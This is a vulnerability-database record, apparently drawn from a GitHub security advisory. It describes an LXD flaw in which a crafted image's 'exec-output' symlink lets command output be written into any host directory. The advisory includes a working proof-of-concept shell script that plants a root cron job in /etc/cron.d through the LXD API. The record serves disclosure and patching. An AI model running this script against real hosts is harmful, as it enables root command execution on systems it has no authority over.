{"id":"GHSA-9j25-mm2h-2f76","kind":"vulnerability","aliases":["GHSA-9j25-mm2h-2f76"],"related":[],"title":"LXD has arbitrary file write on host via `exec-output` symlink in crafted image","description":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nThe `record-output` parameter of the `/instances/$name/exec` endpoint\nstores the output of the command in the `exec-output` directory of the\ninstance. If `exec-output` is a symlink, file named `exec_UUID.stdout`\nand `exec_UUID.stderr` can be written to an arbitrary location where\nthe `.stdout` file will contain arbitrary content. This behavior can be\nabused for arbitrary command execution.\n\n\n### Details\n\nWhen an image is unpacked, top-level symlinks are extracted as is;\nallowing for `exec-output` to be placed on disk. In `instance_exec.go`,\n`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows\nthe `exec-output` symlink.\n\n\n### PoC\n\nBelow, we place the `exec_UUID.stdout` file in `/etc/cron.d` on\nthe host for arbitrary command execution.\n\n```\n#!/bin/sh\n# usage: $0 existing-imagefp\nset -eu\n\nbasefp=\"${1}\"\n\ndie() {\n        printf '%s' \"${@}\" >&2\n        exit 1\n}\n\ncommand -v curl >/dev/null 2>&1 || die 'error: curl not found\\n'\ncommand -v python3 >/dev/null 2>&1 || die 'error: python3 not found\\n'\n\ntmpdir=$(mktemp -d)\ncleanup() {\n        rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\n\n# insert exec-output symlink\n\nincus image export \"${basefp}\" \"${tmpdir}/img\"\n\nmkdir \"${tmpdir}/repack\"\ncd \"${tmpdir}/repack\"\n\nxz -cd \"${tmpdir}/img\" | tar -f- -vx\n\nrm -rf exec-output\nln -s /etc/cron.d exec-output\n\ntar -f- -c * | gzip -c9 >\"${tmpdir}/img\"\n\ncd - >/dev/null\nincus image import \"${tmpdir}\"/img* --alias afw-exec-output\n\n\n# Launch container, exec with record-output via REST API\nincus launch afw-exec-output afw-exec-output\nincus wait afw-exec-output ip\n\nOP=$(curl -s --unix-socket /var/lib/incus/unix.socket \\\n  -X POST -H 'Content-Type: application/json' \\\n  -d '{\"command\":[\"/bin/sh\",\"-c\",\"echo * * * * * root id'\"'>'\"'/afw-exec-output\"],\"record-output\":true}' \\\n  \"lxd/1.0/instances/afw-exec-output/exec\" | python3 -c \"import sys,json;print(json.load(sys.stdin)['operation'])\")\n\ncurl -s --unix-socket /var/lib/incus/unix.socket \"$OP/wait?timeout=30\" >/dev/null\n\n#find /etc/cron.d/exec_* -exec cat {} \\;\n```\n\n### Impact\n\nConstrained file creation in an arbitrary directory on the host via\nvia an unsanitized symlink; possibly leading to command execution.","summary":"LXD unpacks container images without checking top-level symlinks, so a crafted image can plant an exec-output symlink pointing at any host directory. When a user runs a command with record-output, LXD writes the command's output into that directory, so an attacker can drop a file such as a cron job and potentially run commands on the host.","severity":"critical","cvss":9.9,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260626085134-124f90100640"],"affected":"< 0.0.0-20260626085134-124f90100640","ecosystem":"go"}],"ecosystems":["go"],"tags":["containers","cwe-73","infrastructure","linux","lxd","self-hosted"],"not_affected_if":["api-restricted","trusted-images-only"],"how_to_check":"- Check the LXD version with `lxd --version` and compare it with the fixed version below.\n- Review which images are imported from untrusted or third-party sources.\n- Check whether the LXD API is reachable by users who should not control instances.","fix":"- Upgrade the Go module `github.com/canonical/lxd` to `0.0.0-20260626085134-124f90100640` or later.","status":"open","published_at":"2026-11-06T18:45:51+00:00","first_seen_at":"2026-11-06T18:47:03+00:00","triaged_at":"2026-11-06T18:47:22+00:00","updated_at":"2026-11-06T18:47:22+00:00","category":"infrastructure","confidence":0.8,"triage":{"at":"2026-11-06T18:47:22Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade the Go module `github.com/canonical/lxd` to `0.0.0-20260626085134-124f90100640` or later.","reach":"network","title":"LXD: crafted image lets an attacker write files anywhere on the host","impact":"high","summary":"LXD unpacks container images without checking top-level symlinks, so a crafted image can plant an exec-output symlink pointing at any host directory. When a user runs a command with record-output, LXD writes the command's output into that directory, so an attacker can drop a file such as a cron job and potentially run commands on the host.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["lxd","self-hosted","linux","containers"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"attacker writes files to host and may run commands as root","analyst_note":"Confirm which LXD release line and version carry the fix, and whether the affected range applies to released binaries or only the Go module.","how_to_check":"- Check the LXD version with `lxd --version` and compare it with the fixed version below.\n- Review which images are imported from untrusted or third-party sources.\n- Check whether the LXD API is reachable by users who should not control instances.","plain_action":"","needs_analyst":true,"not_affected_if":["trusted-images-only","api-restricted"],"who_is_affected":"Hosts running LXD that import container images from sources they do not fully trust, or that let other users run exec with record-output on their instances. Hosts that only use their own images and restrict API access are less exposed. The sources do not describe a default configuration that is safe.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.00083,"input_tokens":5360,"output_tokens":588,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-73':31B '/afw-exec-output':382C '/bin/sh':226C,377C '/canonical/lxd':28A '/dev/null':245C,257C,323C,406C '/etc/cron.d':218C,311C '/etc/cron.d/exec_':408C '/img':290C,300C,321C,328C '/instances':115C '/lxc/incus/security/advisories/ghsa-48q5-w887-33wv':106C '/repack':293C,296C '/var/lib/incus/unix.socket':367C,402C '0':228C '1':235C,241C,247C,259C '2':239C,246C,258C '2f76':20A,25A '30':405C '9j25':18A,23A 'abus':164C 'afw':331C,347C,351C,357C 'afw-exec-output':330C,346C,350C,356C 'alia':329C 'allow':183C 'api':343C 'application/json':374C 'arbitrari':3A,150C,158C,166C,223C,417C 'attack':85B 'basefp':234C,288C 'behavior':161C 'c':317C,378C,389C 'c9':319C 'cat':410C 'cd':294C,298C,322C 'check':43B 'cleanup':269C,274C 'command':69B,77B,98B,123C,167C,224C,242C,254C,376C,430C 'constrain':412C 'contain':29B,40B,157C,335C 'content':159C,372C 'content-typ':371C 'continu':196C 'craft':14A,50B 'creation':414C 'cron':93B 'curl':244C,250C,362C,397C 'cwe':30B 'd':268C,375C 'detail':169C 'die':236C,248C,260C 'directori':63B,82B,129C,418C 'disk':192C 'drop':87B 'echo':379C 'endpoint':117C 'error':249C,261C 'eu':233C 'exec':10A,56B,127C,135C,186C,199C,207C,282C,307C,313C,332C,336C,348C,352C,358C,409C 'exec-output':9A,55B,126C,134C,185C,198C,206C,281C,306C,312C 'exec_uuid.stderr':144C 'exec_uuid.stdout':142C,215C 'execut':168C,225C,431C 'exist':201C,230C 'existing-imagefp':229C 'exit':240C,275C 'export':287C 'extract':180C 'f':302C,316C 'file':4A,89B,140C,155C,216C,413C 'find':407C 'follow':204C 'found':252C,264C 'ghsa':17A,22A 'ghsa-9j25-mm2h-2f76':16A,21A 'github.com':27A,105C 'github.com/canonical/lxd':26A 'github.com/lxc/incus/security/advisories/ghsa-48q5-w887-33wv':104C 'gzip':318C 'h':370C 'host':7A,37B,62B,101B,221C,421C 'hup':279C 'id':381C 'imag':15A,41B,51B,172C,286C,325C 'imagefp':231C 'impact':411C 'import':326C,390C 'incus':285C,324C,344C,354C 'infrastructur':32B 'insert':280C 'instanc':132C 'instance_exec.go':194C 'int':276C 'ip':360C 'job':94B 'json':392C 'json.load':394C 'launch':334C,345C 'lead':428C 'level':46B,177C 'linux':33B 'ln':309C 'locat':151C 'lxd':1A,34B,38B,74B 'lxd/1.0/instances/afw-exec-output/exec':387C 'mkdir':291C 'mktemp':267C 'mm2h':19A,24A 'n':253C,265C 'name':141C 'name/exec':116C 'op':361C 'op/wait':403C 'oper':396C 'os.mkdir':195C 'os.openfile':203C 'output':11A,57B,73B,79B,111C,120C,128C,136C,187C,200C,208C,283C,308C,314C,333C,340C,349C,353C,359C,385C 'paramet':112C 'place':190C,213C 'plant':53B 'poc':210C 'point':59B 'possibl':427C 'post':369C 'potenti':96B 'print':393C 'printf':237C 'python3':256C,262C,388C 'quit':277C 'record':72B,110C,339C,384C 'record-output':71B,109C,338C,383C 'report':102C 'rest':342C 'rf':271C,305C 'rm':270C,304C 'root':380C 'run':67B,97B 'self':36B 'self-host':35B 'set':232C 'socket':366C,401C 'stdout':154C 'store':118C 'summari':107C 'symlink':12A,47B,58B,139C,178C,209C,284C,426C 'sys':391C 'sys.stdin':395C 'tar':301C,315C 'term':278C 'timeout':404C 'tmpdir':266C,272C,289C,292C,295C,299C,320C,327C 'top':45B,176C 'top-level':44B,175C 'trap':273C 'true':386C 'type':373C 'unix':365C,400C 'unix-socket':364C,399C 'unpack':39B,174C 'unsanit':425C 'usag':227C 'user':66B 'v':243C,255C 'via':8A,341C,422C,423C 'vx':303C 'wait':355C 'without':42B 'write':5A,75B 'written':147C 'x':368C 'xz':297C","nicknames":[],"mitigations":[],"who_affected":"Hosts running LXD that import container images from sources they do not fully trust, or that let other users run exec with record-output on their instances. Hosts that only use their own images and restrict API access are less exposed. The sources do not describe a default configuration that is safe.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomcanonicallxd"],"ptokens":["canonical","com","github","lxd"],"labels":["containers","critical","cwe73","go","infrastructure","linux","lxd","selfhosted"],"campaign_type":null,"search_a":"'/canonical/lxd':28A '2f76':20A,25A '9j25':18A,23A 'arbitrari':3A 'craft':14A 'exec':10A 'exec-output':9A 'file':4A 'ghsa':17A,22A 'ghsa-9j25-mm2h-2f76':16A,21A 'github.com':27A 'github.com/canonical/lxd':26A 'host':7A 'imag':15A 'lxd':1A 'mm2h':19A,24A 'output':11A 'symlink':12A 'via':8A 'write':5A","search_b":"'-73':31B 'attack':85B 'check':43B 'command':69B,77B,98B 'contain':29B,40B 'craft':50B 'cron':93B 'cwe':30B 'directori':63B,82B 'drop':87B 'exec':56B 'exec-output':55B 'file':89B 'host':37B,62B,101B 'imag':41B,51B 'infrastructur':32B 'job':94B 'level':46B 'linux':33B 'lxd':34B,38B,74B 'output':57B,73B,79B 'plant':53B 'point':59B 'potenti':96B 'record':72B 'record-output':71B 'run':67B,97B 'self':36B 'self-host':35B 'symlink':47B,58B 'top':45B 'top-level':44B 'unpack':39B 'user':66B 'without':42B 'write':75B","search_c":"'/afw-exec-output':382C '/bin/sh':226C,377C '/dev/null':245C,257C,323C,406C '/etc/cron.d':218C,311C '/etc/cron.d/exec_':408C '/img':290C,300C,321C,328C '/instances':115C '/lxc/incus/security/advisories/ghsa-48q5-w887-33wv':106C '/repack':293C,296C '/var/lib/incus/unix.socket':367C,402C '0':228C '1':235C,241C,247C,259C '2':239C,246C,258C '30':405C 'abus':164C 'afw':331C,347C,351C,357C 'afw-exec-output':330C,346C,350C,356C 'alia':329C 'allow':183C 'api':343C 'application/json':374C 'arbitrari':150C,158C,166C,223C,417C 'basefp':234C,288C 'behavior':161C 'c':317C,378C,389C 'c9':319C 'cat':410C 'cd':294C,298C,322C 'cleanup':269C,274C 'command':123C,167C,224C,242C,254C,376C,430C 'constrain':412C 'contain':157C,335C 'content':159C,372C 'content-typ':371C 'continu':196C 'creation':414C 'curl':244C,250C,362C,397C 'd':268C,375C 'detail':169C 'die':236C,248C,260C 'directori':129C,418C 'disk':192C 'echo':379C 'endpoint':117C 'error':249C,261C 'eu':233C 'exec':127C,135C,186C,199C,207C,282C,307C,313C,332C,336C,348C,352C,358C,409C 'exec-output':126C,134C,185C,198C,206C,281C,306C,312C 'exec_uuid.stderr':144C 'exec_uuid.stdout':142C,215C 'execut':168C,225C,431C 'exist':201C,230C 'existing-imagefp':229C 'exit':240C,275C 'export':287C 'extract':180C 'f':302C,316C 'file':140C,155C,216C,413C 'find':407C 'follow':204C 'found':252C,264C 'github.com':105C 'github.com/lxc/incus/security/advisories/ghsa-48q5-w887-33wv':104C 'gzip':318C 'h':370C 'host':221C,421C 'hup':279C 'id':381C 'imag':172C,286C,325C 'imagefp':231C 'impact':411C 'import':326C,390C 'incus':285C,324C,344C,354C 'insert':280C 'instanc':132C 'instance_exec.go':194C 'int':276C 'ip':360C 'json':392C 'json.load':394C 'launch':334C,345C 'lead':428C 'level':177C 'ln':309C 'locat':151C 'lxd/1.0/instances/afw-exec-output/exec':387C 'mkdir':291C 'mktemp':267C 'n':253C,265C 'name':141C 'name/exec':116C 'op':361C 'op/wait':403C 'oper':396C 'os.mkdir':195C 'os.openfile':203C 'output':111C,120C,128C,136C,187C,200C,208C,283C,308C,314C,333C,340C,349C,353C,359C,385C 'paramet':112C 'place':190C,213C 'poc':210C 'possibl':427C 'post':369C 'print':393C 'printf':237C 'python3':256C,262C,388C 'quit':277C 'record':110C,339C,384C 'record-output':109C,338C,383C 'report':102C 'rest':342C 'rf':271C,305C 'rm':270C,304C 'root':380C 'set':232C 'socket':366C,401C 'stdout':154C 'store':118C 'summari':107C 'symlink':139C,178C,209C,284C,426C 'sys':391C 'sys.stdin':395C 'tar':301C,315C 'term':278C 'timeout':404C 'tmpdir':266C,272C,289C,292C,295C,299C,320C,327C 'top':176C 'top-level':175C 'trap':273C 'true':386C 'type':373C 'unix':365C,400C 'unix-socket':364C,399C 'unpack':174C 'unsanit':425C 'usag':227C 'v':243C,255C 'via':341C,422C,423C 'vx':303C 'wait':355C 'written':147C 'x':368C 'xz':297C","first_public_at":"2026-11-06T18:45:51+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-9j25-mm2h-2f76","url":"https://github.com/advisories/GHSA-9j25-mm2h-2f76","severity":"critical","published_at":"2026-11-06T18:45:51+00:00","modified_at":"2026-11-06T18:45:52+00:00","first_seen_at":"2026-11-06T18:47:03+00:00","fetched_at":"2026-11-06T18:57:10+00:00","note":null}],"documents":[{"id":88863,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-9j25-mm2h-2f76","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":88864,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":88865,"url":"https://github.com/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88866,"url":"https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88867,"url":"https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88868,"url":"https://github.com/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88869,"url":"https://github.com/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88870,"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}